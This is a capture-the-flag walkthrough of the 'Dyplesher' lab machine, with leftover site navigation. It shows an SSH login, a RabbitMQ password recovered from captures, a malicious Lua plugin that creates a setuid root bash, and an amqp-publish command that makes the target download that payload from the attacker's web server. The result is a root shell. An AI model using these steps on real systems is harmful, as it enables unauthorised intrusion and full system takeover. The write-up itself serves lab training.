Dyplesher - 31st Oct 20

Dyplesher
Dyplesher
Author
Dyplesher
Difficulty
Insane
Release
31 Oct, 2020
Rating
Machine Matrix
Points
40
Release
31 Oct, 2020
Machine Matrix
Attack
Defense
Logistics
Hardware
Hacking
Pwn
Crypto
Reversing
Forensics
Web
Misc
Mobile
Cloud
Blockchain
Show Tags
Show Ratings
Show Hints
Show Unsolved
Show Solved
Show Owns
Show Unowns
Show Completed
Show Uncompleted
Hide Filters
Reset Filters
Search for challenges
Challenges
Dyplesher
Easy
Crypto
Reversing
Forensics
Web
Misc
Mobile
Cloud
Blockchain
Hardware
Hacking
Pwn
Insane
Machine Matrix
Attack
Defense
Logistics
Hardware
Hacking
Pwn

```
purp1ew0lf@Kali:~/Downloads/dypo$ ssh felamos@10.10.10.190
felamos@10.10.10.190's password:
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
```

Felamos Shell

We can get our user.txt flag, and then focus on our privilege escalation.

In Felamos' directory, they have a directory for Yunato with this message in it:

```
felamos@dyplesher:~/yuntao$ cat send.sh
#!/bin/bash

echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Excha
nge" and "Queue". Just send url to download plugins and our new code will review it and workin
g plugins will be added to the server.' >  /dev/pts/{}
```

It seems that the path to priv esc is to to create a malicious cuberite plugin(based in the LUA langauge), and send that ove to 'Exchange' and 'Queue', which is running on the RabbitMQ on port 5672 (that we saw on nmap)

You can read more about RabbitMQ and the AMQP protocol here:

- https://book.hacktricks.xyz/pentesting/5671-5672-pentesting-amqp
- https://book.hacktricks.xyz/pentesting/15672-pentesting-rabbitmq-management

Given that **Yunato** is mentioned too, I searched back through the Wireshark captures to get their password: **EashAnicOc3Op**

AMQP

`amqp-publish` is a tool that we can use to write to RabbitMQ

```
##install tools
sudo apt-get install amqp-tools

##start amqp-publish
amqp-publish -help
```

We need to submit 'something' to RabbitMQ on port 5672. Let's try and submit a malicious .lua file:

```
evil.lua
os.execute ("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
```

This will copy root's `bash` to /tmp, and then give us permissions to run /tmp/bash as **root**

Now, we need to use amqp-publish, with Yunato's creds, to connect to RabbitMQ on port 5672. We will tell it to collect the malicious lua file that it will think is a Cuberite pluguin.

```
##in kali, host webserver on port 11211 in same directory as evil.lua
sudo python -m SimpleHTTPServer 11211

##in kali, run the amqp-publish command
amqp-publish --url="amqp://yuntao:EashAnicOc3Op@10.10.10.190:5672" \
--body="http://10.10.14.21:11211/evil.lua" --routing-key="plugin_data"
```

It took me a while to find an appropriate port to have the python webserver listen on.I then remebered we contacted Memcache earlier on port 11211, so it seemed liked a safe bet to try it. We run the amqp command, and it hits out python webserver and collects the malicious lua.

```
purp1ew0lf@Kali:~/Downloads/dypo$ sudo python -m SimpleHTTPServer 11211
Serving HTTP on 0.0.0.0 port 11211 ...
10.10.10.190 - - [03/Nov/2020 13:22:09] "GET /evil.lua HTTP/1.0" 200 -
10.10.10.190 - - [03/Nov/2020 13:24:47] "GET /evil.lua HTTP/1.0" 200 -
10.10.10.190 - - [03/Nov/2020 13:30:46] "GET /evil.lua HTTP/1.0" 200 -
```

In less than a minute, if we watch the /tmp directory, we can see a `bash` appears.

```
felamos@dyplesher:/tmp$ ls
bash
hsperfdata_MinatoTW
jna--1301598419
snap.lxd
systemd-private-17cea208f3c544459acc868db8c4fffb
systemd-private-17cea208f3c544459acc868db8c4fffb
```

Root Shell

To run the Root bash, try `/tmp/bash -p` and it should create a root shell

```
felamos@dyplesher:/tmp$ /tmp/bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
```